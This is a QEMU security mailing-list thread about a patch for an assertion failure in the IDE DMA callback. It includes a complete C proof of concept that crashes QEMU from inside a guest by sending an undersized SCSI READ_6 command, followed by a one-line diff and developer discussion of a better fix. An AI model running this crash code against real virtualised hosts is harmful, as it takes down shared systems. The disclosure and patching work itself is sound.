Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Alexander Popov]

On 06.11.2019 15:05, Michael S. Tsirkin wrote:
> On Thu, Jul 25, 2019 at 08:25:03PM -0400, John Snow wrote:
>>
>>
>> On 7/5/19 10:07 AM, Alexander Popov wrote:
>>> This assertion was introduced in the commit a718978ed58a in July 2015.
>>> It implies that the size of successful DMA transfers handled in
>>> ide_dma_cb() should be multiple of 512 (the size of a sector).
>>>
>>> But guest systems can initiate DMA transfers that don't fit this
>>> requirement. Let's improve the assertion to prevent qemu DoS from quests.
>>>
>>> PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
>>> command and crash qemu:
>>>
>>> #include <stdio.h>
>>> #include <sys/ioctl.h>
>>> #include <stdint.h>
>>> #include <sys/types.h>
>>> #include <sys/stat.h>
>>> #include <fcntl.h>
>>> #include <string.h>
>>> #include <stdlib.h>
>>> #include <scsi/scsi.h>
>>> #include <scsi/scsi_ioctl.h>
>>>
>>> #define CMD_SIZE 2048
>>>
>>> struct scsi_ioctl_cmd_6 {
>>>     unsigned int inlen;
>>>     unsigned int outlen;
>>>     unsigned char cmd[6];
>>>     unsigned char data[];
>>> };
>>>
>>> int main(void)
>>> {
>>>     intptr_t fd = 0;
>>>     struct scsi_ioctl_cmd_6 *cmd = NULL;
>>>
>>>     cmd = malloc(CMD_SIZE);
>>>     if (!cmd) {
>>>             perror("[-] malloc");
>>>             return 1;
>>>     }
>>>
>>>     memset(cmd, 0, CMD_SIZE);
>>>     cmd->inlen = 1337;
>>>     cmd->cmd[0] = READ_6;
>>>
>>>     fd = open("/dev/sg0", O_RDONLY);
>>>     if (fd == -1) {
>>>             perror("[-] opening sg");
>>>             return 1;
>>>     }
>>>
>>>     printf("[+] sg0 is opened\n");
>>>
>>>     printf("[.] qemu should break here:\n");
>>>     fflush(stdout);
>>>     ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
>>>     printf("[-] qemu didn't break\n");
>>>
>>>     free(cmd);
>>>
>>>     return 1;
>>> }
>>>
>>> Signed-off-by: Alexander Popov <address@hidden>
>>> ---
>>>  hw/ide/core.c | 2 +-
>>>  1 file changed, 1 insertion(+), 1 deletion(-)
>>>
>>> diff --git a/hw/ide/core.c b/hw/ide/core.c
>>> index 6afadf8..304fe69 100644
>>> --- a/hw/ide/core.c
>>> +++ b/hw/ide/core.c
>>> @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
>>>  
>>>      sector_num = ide_get_sector(s);
>>>      if (n > 0) {
>>> -        assert(n * 512 == s->sg.size);
>>> +        assert(n == s->sg.size / 512);
>>>          dma_buf_commit(s, s->sg.size);
>>>          sector_num += n;
>>>          ide_set_sector(s, sector_num);
>>>
>>
>> Oh, this is fun.
>>
>> So you're actually requesting 131072 bytes (256 sectors) but you're
>> giving it far too short of a PRDT.
>>
>> But ... the prepare_buf callback got anything at all, so it was happy to
>> proceed, but the callback chokes over the idea that the SGlist wasn't
>> formatted correctly -- it can't deal with partial tails.
>>
>> I think it might be the case that the sglist needs to be allowed to have
>> an unaligned tail, and then the second trip to the dma_cb when there
>> isn't any more regions in the PRDT to add to the SGList to transfer at
>> least a single sector -- but the IDE state machine still has sectors to
>> transfer -- we need to trigger the short PRD clause.
>>
>> Papering over it by truncating the tail I think isn't sufficient; there
>> are other problems this exposes.
>>
>> As an emergency patch, it might be better to just do this whenever we
>> see partial tails:
>>
>> prepared = ...prepare_buf(s->bus->dma, s->io_buffer_size);
>> if (prepared % 512) {
>>     ide_dma_error(s);
>>     return;
>> }
> 
> Do you want to cook up a patch like this then?

Yes, I will take this task and return with a patch.

Thanks!

Best regards,
Alexander


>> I think that prepare_buf does not give unaligned results if you provided
>> *too many* bytes, so the unaligned return only happens when you starve it.
>>
>> I can worry about a proper fix for 4.2+.
>>
>> --js